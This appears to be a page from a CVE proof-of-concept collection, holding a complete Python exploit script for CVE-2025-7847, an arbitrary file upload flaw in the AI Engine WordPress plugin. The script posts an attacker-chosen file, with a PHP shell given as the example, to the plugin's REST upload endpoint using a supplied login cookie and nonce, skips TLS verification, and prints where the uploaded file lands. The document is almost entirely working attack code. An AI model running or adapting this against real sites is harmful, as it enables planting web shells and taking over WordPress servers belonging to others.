4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit-manual.py PY
import requests
import argparse
import os
from urllib.parse import urljoin

def upload_file(base_url, cookie, nonce, file_path):
    endpoint = base_url.rstrip('/') + "/wp-json/mwai/v1/simpleFileUpload"

    if not os.path.isfile(file_path):
        print(f"[!] File not found: {file_path}")
        return

    files = {'file': open(file_path, 'rb')}
    headers = {
        'User-Agent': 'Mozilla/5.0',
        'Accept': 'application/json',
        'X-WP-Nonce': nonce,
        'X-Requested-With': 'XMLHttpRequest',
        'Referer': base_url.rstrip('/') + "/wp-admin/admin.php?page=mwai_settings",
        'Origin': base_url
    }

    cookies = dict([c.strip().split("=", 1) for c in cookie.split(";") if "=" in c])

    print("[*] Sending upload request to:", endpoint)
    response = requests.post(endpoint, headers=headers, cookies=cookies, files=files, verify=False)

    if response.status_code == 200 and 'success' in response.text:
        json_data = response.json()
        print("[+] Exploit succeeded!")
        print("[-] File uploaded to:", json_data['data']['url'].replace('\\/', '/'))
    else:
        print("[!] Exploit failed.")
        print("[-] Response code:", response.status_code)
        print("[-] Response body:", response.text)



if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Exploit for AI Engine WordPress plugin Arbitrary File Upload (CVE-2025-7847)")
    parser.add_argument('--url', required=True, help='Target base URL (e.g. http://localhost/wordpress)')
    parser.add_argument('--cookie', required=True, help='Full Cookie string (e.g. \"wordpress_logged_in_xxx=...; PHPSESSID=...\")')
    parser.add_argument('--nonce', required=True, help='X-WP-Nonce value')
    parser.add_argument('--file', required=True, help='Path to shell file (e.g. shell.php)')

    args = parser.parse_args()
    upload_file(args.url, args.cookie, args.nonce, args.file)